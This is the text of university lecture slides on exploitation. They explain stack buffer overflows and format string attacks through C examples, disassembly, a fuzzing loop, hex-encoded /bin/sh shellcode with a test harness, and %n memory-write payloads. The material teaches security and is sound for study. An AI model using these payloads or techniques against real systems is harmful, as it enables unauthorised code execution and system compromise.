Exploits
Buffer Overflows and Format String Attacks

David Brumley
Carnegie Mellon University
You will find

at least one error

on each set of slides. :)

2
An Epic Battle

White vs. Black
Find *Exploitable* Bugs

Bug

White

Black
$ iwconfig
$ iwconfig

Exploit

Superuser
Bug Fixed!

White

Black
Fact:
Ubuntu Linux has over 99,000 known bugs
1. $\text{inp} = \text{perl -e '{print "A"x8000}'}$
2. for program in /usr/bin/*; do
3. for opt in {a..z} {A..Z}; do
4. timeout -s 9 1s
   $\text{program -$opt $inp}$
5. done
6. done

1009 Linux programs. 13 minutes.
52 new bugs in 29 programs.
Which bugs are exploitable?

Evil David

Today, we are going to learn how to tell.
Bugs and Exploits

• A **bug** is a place where real execution behavior may **deviate** from expected behavior.

• An **exploit** is an **input** that gives an attacker an advantage

<table>
<thead>
<tr>
<th>Method</th>
<th>Objective</th>
</tr>
</thead>
<tbody>
<tr>
<td>Control Flow Hijack</td>
<td>Gain control of the instruction pointer %eip</td>
</tr>
<tr>
<td>Denial of Service</td>
<td>Cause program to crash or stop servicing clients</td>
</tr>
<tr>
<td>Information Disclosure</td>
<td>Leak private information, e.g., saved password</td>
</tr>
</tbody>
</table>
Agenda

1. Control Flow Hijacks

2. Common Hijacking Methods
   – Buffer Overflows
   – Format String Attacks

1. What’s new
Control Flow Recap
Basic Execution

File system

Binary
- Code
- Data
- ...

Processor

Fetch, decode, execute

Stack

Heap

Process Memory

read and write
cdecl – the default for Linux & gcc

```c
int orange(int a, int b)
{
    char buf[16];
    int c, d;
    if(a > b)
        c = a;
    else
        c = b;
    d = red(c, buf);
    return d;
}
```
Control Flow Hijack:

Always Computation + Control

- shellcode (aka payload)
- padding
- &buf

\[ \text{computation} + \text{control} \]

- code injection
- return-to-libc
- Heap metadata overwrite
- return-oriented programming
- ...

Same principle, different mechanism
Buffer Overflows

Assigned Reading:
Smashing the stack for fun and profit
by Aleph One
What are Buffer Overflows?

A buffer overflow occurs when data is written outside of the space allocated for the buffer.

- C does not check that writes are in-bound

1. Stack-based
   - covered in this class
2. Heap-based
   - more advanced
   - very dependent on system and library version
Basic Example

```c
#include <string.h>
int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:
```
0x080483e4 <+0>:  push   %ebp
0x080483e5 <+1>:  mov    %esp,%ebp
0x080483e7 <+3>:  sub    $72,%esp
0x080483ea <+6>:  mov    12(%ebp),%eax
0x080483ed <+9>:  mov    4(%eax),%eax
0x080483f0 <+12>: mov    %eax,4(%esp)
0x080483f4 <+16>: lea    -64(%ebp),%eax
0x080483f7 <+19>: mov    %eax,(%esp)
0x080483fa <+22>: call   0x8048300 <strcpy@plt>
0x080483ff <+27>: leave
0x08048400 <+28>: ret
```
```
#include <string.h>

int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:
```
0x080483e4 <+0>:  push   %ebp
0x080483e5 <+1>:  mov    %esp,%ebp
0x080483e7 <+3>:  sub    $72,%esp
0x080483ea <+6>:  mov    12(%ebp),%eax
0x080483ed <+9>:  mov    4(%eax),%eax
0x080483f0 <+12>: mov    %eax,4(%esp)
0x080483f4 <+16>: lea    -64(%ebp),%eax
0x080483f7 <+19>: mov    %eax,(%esp)
0x080483fa <+22>: call   0x8048300 <strcpy@plt>
0x080483ff <+27>: leave
0x08048400 <+28>: ret
```
“A”\text{x68} . “\text{\textbackslash xEF\textbackslash xBE\textbackslash xAD\textbackslash xDE}”

```c
#include <string.h>
int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:

```assembly
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $72,%esp
0x080483ea <+6>: mov 12(%ebp),%eax
0x080483ed <+9>: mov 4(%eax),%eax
0x080483f0 <+12>: mov %eax,4(%esp)
0x080483f4 <+16>: lea -64(%ebp),%eax
0x080483f7 <+19>: mov %eax,(%esp)
0x080483fa <+22>: call 0x8048300 <strcpy@plt>
0x080483ff <+27>: leave
0x08048400 <+28>: ret
```
# Frame teardown—1

```c
#include <string.h>
int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:

```
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $72,%esp
0x080483ea <+6>: mov 12(%ebp),%eax
0x080483ed <+9>: mov 4(%eax),%eax
0x080483f0 <+12>: mov %eax,4(%esp)
0x080483f4 <+16>: lea -64(%ebp),%eax
0x080483f7 <+19>: mov %eax,(%esp)
0x080483fa <+22>: call 0x8048300 <strcpy@plt>
=> 0x080483ff <+27>: leave
0x08048400 <+28>: ret
```

1. `mov %ebp,%esp`
2. `pop %ebp`
Frame teardown—2

```c
#include <string.h>
int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:
```
  0x080483e4 <+0>: push %ebp
  0x080483e5 <+1>: mov %esp,%ebp
  0x080483e7 <+3>: sub $72,%esp
  0x080483ea <+6>: mov 12(%ebp),%eax
  0x080483ed <+9>: mov 4(%eax),%eax
  0x080483f0 <+12>: mov %eax,4(%esp)
  0x080483f4 <+16>: lea -64(%ebp),%eax
  0x080483f7 <+19>: mov %eax,(%esp)
  0x080483fa <+22>: call 0x8048300 <strcpy@plt>
  0x080483ff <+27>: leave
  0x08048400 <+28>: ret
```

1. mov %ebp,%esp
2. pop %ebp

%ebp = AAAA
Frame teardown—3

```c
#include <string.h>
int main(int argc, char **argv) {
    char buf[64];
    strcpy(buf, argv[1]);
}
```

Dump of assembler code for function main:

```
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $72,%esp
0x080483ea <+6>: mov 12(%ebp),%eax
0x080483ed <+9>: mov 4(%eax),%eax
0x080483f0 <+12>: mov %eax,4(%esp)
0x080483f4 <+16>: lea -64(%ebp),%eax
0x080483f7 <+19>: mov %eax,(%esp)
0x080483fa <+22>: call 0x8048300 <strcpy@plt>
0x080483ff <+27>: leave
0x08048400 <+28>: ret
```

%eip = 0xDEADBEEF *(probably crash)*

Corrupted argv, argc, %esp
Shellcode

Traditionally, we inject assembly instructions for `exec("/bin/sh")` into buffer.

- see “Smashing the stack for fun and profit” for exact string
- or search online

```
0x080483fa <+22>:  call  0x8048300 <strcpy@plt>
0x080483ff <+27>:  leave
0x08048400 <+28>:  ret
```
Executing system calls

execve("/bin/sh", 0, 0);

2. Set up arg 1 in ebx, arg 2 in ecx, arg 3 in edx
3. Call int 0x80*
4. System call runs. Result in eax

* using sysenter is faster, but this is the traditional explanation
Shellcode example

xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80

Notice no NULL chars. Why?

Executable String

"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\xb0\x0b\xcd\x80";
#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
   "\x73\x68\x68\x2f\x62\x69\x6e\x89"
   "\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
   printf ("Shellcode length : %d bytes\n", strlen (code));
   int(*f)()=(int(*)(()))code;
   f();
}

$ gcc -o shellcode -fno-stack-protector -z execstack shellcode.c
Execution

xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
int 0x80

Shellcode

<table>
<thead>
<tr>
<th>ebx</th>
<th>esp</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0</td>
<td>0x0</td>
</tr>
<tr>
<td>0x68</td>
<td>h</td>
</tr>
<tr>
<td>0x73</td>
<td>s</td>
</tr>
<tr>
<td>0x2f</td>
<td>/</td>
</tr>
<tr>
<td>0x2f</td>
<td>/</td>
</tr>
<tr>
<td>0x6e</td>
<td>n</td>
</tr>
<tr>
<td>0x69</td>
<td>i</td>
</tr>
<tr>
<td>0x62</td>
<td>b</td>
</tr>
<tr>
<td>0x2f</td>
<td>/</td>
</tr>
</tbody>
</table>

 Registers

Tips

Factors affecting the stack frame:
• statically declared buffers may be padded
• what about space for callee-save regs?
• [advanced] what if some vars are in regs only?
• [advanced] what if compiler reorder local variables on stack?

**gdb** is your friend!
*(google gdb quick reference)*

Don’t just brute force or guess offsets. **Think!**
**WARNING:**
Environment changes address of buf

$ OLDPWD="" .vuln

vs.

$ OLDPWD="aaaa" .vuln

Protip: Inserting nop’s (e.g., 0x90) into shellcode allow for slack
Recap

To generate *exploit* for a basic buffer overflow:

1. Determine size of stack frame up to head of buffer
2. Overflow buffer with the right size

```
shellcode  padding  &buf
```

```
computation  +  control
```
Format String Attacks

Assigned Reading:
Exploiting Format String Vulnerabilities
by scut / Team Teso
“If an attacker is able to provide the format string to an ANSI C format function in part or as a whole, a format string vulnerability is present.” – scut/team teso
Channeling Vulnerabilities

... arise when control and data are mixed into one channel.

<table>
<thead>
<tr>
<th>Situation</th>
<th>Data Channel</th>
<th>Control Channel</th>
<th>Security</th>
</tr>
</thead>
<tbody>
<tr>
<td>Format Strings</td>
<td>Output string</td>
<td>Format parameters</td>
<td>Disclose or write to memory</td>
</tr>
<tr>
<td>malloc buffers</td>
<td>malloc data</td>
<td>Heap metadata info</td>
<td>Control hijack/write to memory</td>
</tr>
<tr>
<td>Stack</td>
<td>Stack data</td>
<td>Return address</td>
<td>Control hijack</td>
</tr>
<tr>
<td>Phreaking</td>
<td>Voice or data</td>
<td>Operator tones</td>
<td>Seize line control</td>
</tr>
</tbody>
</table>
Don’t abuse printf

Wrong
int wrong(char *user)
{
    printf(user);
}

OK
int ok(char *user)
{
    printf("%s", user);
}

Alternatives:
fgets(user, stdout)
puts(user) //newline
Agenda

1. How format strings, and more generally variadic functions, are implemented

2. How to exploit format string vulnerabilities
# Format String Functions

```
printf(char *fmt, ...)
```

- **Specifies number and types of arguments**
- **Variable number of arguments**

<table>
<thead>
<tr>
<th>Function</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>printf</td>
<td>prints to stdout</td>
</tr>
<tr>
<td>fprintf</td>
<td>prints to a FILE stream</td>
</tr>
<tr>
<td>sprintf</td>
<td>prints to a string</td>
</tr>
<tr>
<td>vfprintf</td>
<td>prints to a FILE stream from va_list</td>
</tr>
<tr>
<td>syslog</td>
<td>writes a message to the system log</td>
</tr>
<tr>
<td>setproctitle</td>
<td>sets argv[0]</td>
</tr>
</tbody>
</table>
Variadic Functions

... are functions of *indefinite arity*.

Widely supported in languages:

- C
- C++
- Javascript
- Perl
- PHP
- ...

In cdecl, caller is responsible to clean up the arguments. Can you guess why?
Assembly View

• For non-variadic functions, the compiler:
  – knows number and types of arguments
  – emits instructions for caller to push arguments right to left
  – emits instructions for callee to access arguments via frame pointer (or stack pointer [advanced])

• For variadic functions, the compiler emits instructions for the program to
  \textit{walk the stack at runtime for arguments}
Suppose we want to implement a `printf`-like function that only prints when a debug key is set:

```c
void debug(char *key, char *fmt, ...) {
    va_list ap;
    char buf[BUFSIZE];

    if (!KeyInList(key)) return;
    va_start(ap, fmt);
    vsprintf(buf, fmt, ap);
    va_end(ap);
    printf("%s", buf);
}
```
Stack Diagram for printf

- Think of `va_list` as a pointer to the second argument (first after format)
- Each format specifier indicates type of current arg
  - Know how far to increment pointer for next arg
char s1[] = "hello";
char s2[] = "world";
printf("%s %s %u", s1, s2, 42);
# Parsing Format Strings

```c
#include <stdio.h>
#include <stdarg.h>

void foo(char *fmt, ...) {
    va_list ap;
    int d;
    char c, *p, *s;

    va_start(ap, fmt);
    while (*fmt)
        switch(*fmt++) {
            case 's':                       /* string */
                s = va_arg(ap, char *);
                printf("string %s\n", s);
                break;
            case 'd':                       /* int */
                d = va_arg(ap, int);
                printf("int %d\n", d);
                break;
            case 'c':                       /* char */
                /* need a cast here since va_arg only
                   takes fully promoted types */
                c = (char) va_arg(ap, int);
                printf("char %c\n", c);
                break;
        }
    va_end(ap);
}
```

*Example from Linux man entry
http://linux.about.com/library/cmd/blcmdl3_va_start.htm*
## Conversion Specifications

%[flag][width][.precision][length]specifier

<table>
<thead>
<tr>
<th>Specifier</th>
<th>Output</th>
<th>Passed as</th>
</tr>
</thead>
<tbody>
<tr>
<td>%d</td>
<td>decimal (int)</td>
<td>value</td>
</tr>
<tr>
<td>%u</td>
<td>unsigned decimal (unsigned int)</td>
<td>value</td>
</tr>
<tr>
<td>%x</td>
<td>hexadecimal (unsigned int)</td>
<td>value</td>
</tr>
<tr>
<td>%s</td>
<td>string (const unsigned char *)</td>
<td>reference</td>
</tr>
<tr>
<td>%n</td>
<td># of bytes written so far (int *)</td>
<td>reference</td>
</tr>
</tbody>
</table>

### Flags
- 0 flag: zero-pad
  - %08x zero-padded 8-digit hexadecimal number

### Minimum Width
- %3s pad with up to 3 spaces
  - printf("S:%3s", "1"); S: 1
  - printf("S:%3s", "12"); S: 12
  - printf("S:%3s", "123"); S: 123
  - printf("S:%3s", "1234"); S: 1234
Agenda

1. How format strings, and more generally variadic functions, are implemented

2. How to exploit format string vulnerabilities
   a. Viewing memory
   b. Overwriting memory
1. int foo(char *fmt) {
2.    char buf[32];
3.    strcpy(buf, fmt);
4.    printf(buf);
5. }

080483d4 <foo>:
  80483d4:   push   %ebp
  80483d5:   mov    %esp,%ebp
  80483d7:   sub    $0x28,%esp         ; allocate 40 bytes on stack
  80483da:   mov    0x8(%ebp),%eax    ; eax := M[ebp+8] - addr of fmt
  80483dd:   mov    %eax,0x4(%esp)   ; M[esp+4] := eax - push as arg 2
  80483e1:   lea    -0x20(%ebp),%eax ; eax := ebp-32 - addr of buf
  80483e4:   mov    %eax,(%esp)      ; M[esp] := eax - push as arg 1
  80483e7:   call   80482fc <strcpy@plt>
  80483ec:   lea    -0x20(%ebp),%eax ; eax := ebp-32 - addr of buf again
  80483ef:   mov    %eax,(%esp)      ; M[esp] := eax - push as arg 1
  80483f2:   call   804830c <printf@plt>
  80483f7:   leave
  80483f8:   ret
1. int foo(char *fmt) {
2.     char buf[32];
3.     strcpy(buf, fmt);
4.     printf(buf);
5. }

Stack Diagram @ printf

- return addr
- caller’s ebp
- buf (32 bytes)
- stale arg 2
- arg 1
- return addr
- foo’s ebp
- locals

addr of fmt
addr of buf
What are the effects if `fmt` is:
1. `%s`
2. `%s%c`
3. `%x%x...%x` 11 times
Viewing Specific Address—1

Observe: buf is **below** printf on the call stack, thus we can walk to it with the correct specifiers.

What if fmt is “%x%s”?
1. int foo(char *fmt) {
2.     char buf[32];
3.     strcpy(buf, fmt);
4.     printf(buf);
5. }

Idea! Encode address to peek in buf first. Address 0xbffff747 is \x47\xf7\xff\xbf in little endian.

\x47\xf7\xff\xbf%\x%\s
Control Flow Hijack

• Overwrite return address with buffer-overflow induced by format string

• Writing any value to any address directly
  1. %n format specifier for writing
  2. writing (some value) to a specific address
  3. controlling the written value
Specifying Length

What does:

```c
int a;
printf("%-10u-%n", 7350, &a);
print?
```

Print argument padded to 10 digits

- 7350-
Overflow by Format String

char buf[32];
sprintf(buf, user);

Write 36 digit decimal, overwriting buf and caller’s ebp

Shellcode with nop slide

Overwrite return address

“%36u\x3c\xd3\xff\xbf<nops><shellcode>”
%n FormatSpecifier

%n writes the number of bytes printed so far to an integer specified by its address

```c
int i;
printf("abcde%n\n", (int *) &i);
printf("i = %d\n", i);
```

Output:

abcde
i = 5
Writing to Specific Address

• Encode address in format string:

```
\xc0\xc8\xff\xbf_%08x ....%08x.%n
```

“pop” dwords from stack to reach format string

• Writes a small num at destination 0xbfffc8c0

• Can use four carefully-controlled writes to create an address at destination
Writing Arbitrary Values

Suppose we want to write 0x10204080. (e.g., for GOT attack in next lecture)
Writing Arbitrary Values

unsigned char canary[5];
unsigned char foo[4];
memset (foo, '\x00', sizeof (foo));
0. strcpy (canary, "AAAA");
1. printf ("%16u%n", 7350, (int *) &foo[0]);
2. printf ("%32u%n", 7350, (int *) &foo[1]);
3. printf ("%64u%n", 7350, (int *) &foo[2]);
4. printf ("%128u%n", 7350, (int *) &foo[3]);
unsigned char canary[5];
unsigned char foo[4];
memset (foo, '\x00', sizeof (foo));
strcpy (canary, "AAAA");
1. printf ("%16u%n", 7350, (int *) &foo[0]);
2. printf ("%32u%n", 7350, (int *) &foo[1]);
3. printf ("%64u%n", 7350, (int *) &foo[2]);
4. printf ("%128u%n", 7350, (int *) &foo[3]);

* taken directly from reading
unsigned char canary[5];
unsigned char foo[4];
memset (foo, '\x00', sizeof (foo));
strcpy (canary, "AAAA");
1. printf ("%16u%n", 7350, (int *) &foo[0]);
2. printf ("%32u%n", 7350, (int *) &foo[1]);
3. printf ("%64u%n", 7350, (int *) &foo[2]);
4. printf ("%128u%n", 7350, (int *) &foo[3]);

* taken directly from reading
Writing Arbitrary Values

unsigned char canary[5];
unsigned char foo[4];
memset (foo, '\x00', sizeof (foo));
strcpy (canary, "AAAA");
1. printf ("%16u%n", 7350, (int *) &foo[0]);
2. printf ("%32u%n", 7350, (int *) &foo[1]);
3. printf ("%64u%n", 7350, (int *) &foo[2]);
4. printf ("%128u%n", 7350, (int *) &foo[3]);

* taken directly from reading
Writing Arbitrary Values

```c
unsigned char canary[5];
unsigned char foo[4];
memset (foo, '\x00', sizeof (foo));
strcpy (canary, "AAAA");
0. strcpy (canary, "AAAA");
1. printf ("%16u%n", 7350, (int *) &foo[0]);
2. printf ("%32u%n", 7350, (int *) &foo[1]);
3. printf ("%64u%n", 7350, (int *) &foo[2]);
4. printf ("%128u%n", 7350, (int *) &foo[3]);
```

* taken directly from reading
All in one write

printf ("%16u%n%16u%n%32u%n%64u%n",  
    1, (int *) &foo[0],  
    1, (int *) &foo[1],  
    1, (int *) &foo[2],  
    1, (int *) &foo[3]);

Each %n writes 4 bytes, but that doesn’t matter
• only last byte written is used in the address since we incrementally write each byte of the destination

See assigned reading for writing an arbitrary 4-byte value to an arbitrary 4-byte destination
Practical gdb Tips

• Addresses inside gdb may be different than on command line
  – gdb has a slightly different environment
  – Before submitting assignment, make sure you are using the real addresses. You can use “%08x.%08x.” from command line to find real addresses

• Use
  – set args `perl -e 'print "\x51\xf7\xff\xbf"'` to get addresses into gdb. I don’t know of an easier way.

• Learn gdb
  – gdb cheat sheet on website.
  – Most important: break-points, ni (next-instruction), s (next statement), x /<spec> (inspect memory), and p /<spec> (print variable)
Recap

• Use spurious format specifiers to walk the stack until format string is reached
  – Zero and width, e.g., %08x

• Use format string buffer itself to encode addresses

• Two ways to overwrite ret address:
  – Use %n
  – sprintf for basic buffer overflow.
What’s new since 1996?

Assigned Reading:
Smashing the stack in 2011
by Paul Makowski
A lot has happened...

- Heap-based buffer overflows also common
- [not mentioned] fortified source by static analysis (e.g., gcc can sometimes replace strcpy by strcpy_chk)

Future Lectures:
- Canary (e.g. ProPolice in gcc)
- Data Execution Protection/No eXecute
- Address Space Layout Randomization

```bash
alias gcc732='gcc -m32 -g3 -O1 -fverbose-asm -fno-omit-frame-pointer
-mpreferred-stack-boundary=2 -fno-stack-protector -fno-pie -fno-PIC
-D_FORTIFY_SOURCE=0'
```
But little has changed...

Method to gain entry remains the same
• buffer overflows
• format strings

What’s different is shellcode:
Questions?
Backup slides here.

• Titled cherries because they are for the pickin. (credit due to maverick for wit)
Stencils
Other Colors from Adobe Kuler

Don’t use these unless absolutely necessary. We are not making skittles, so there is no rainbow of colors necessary.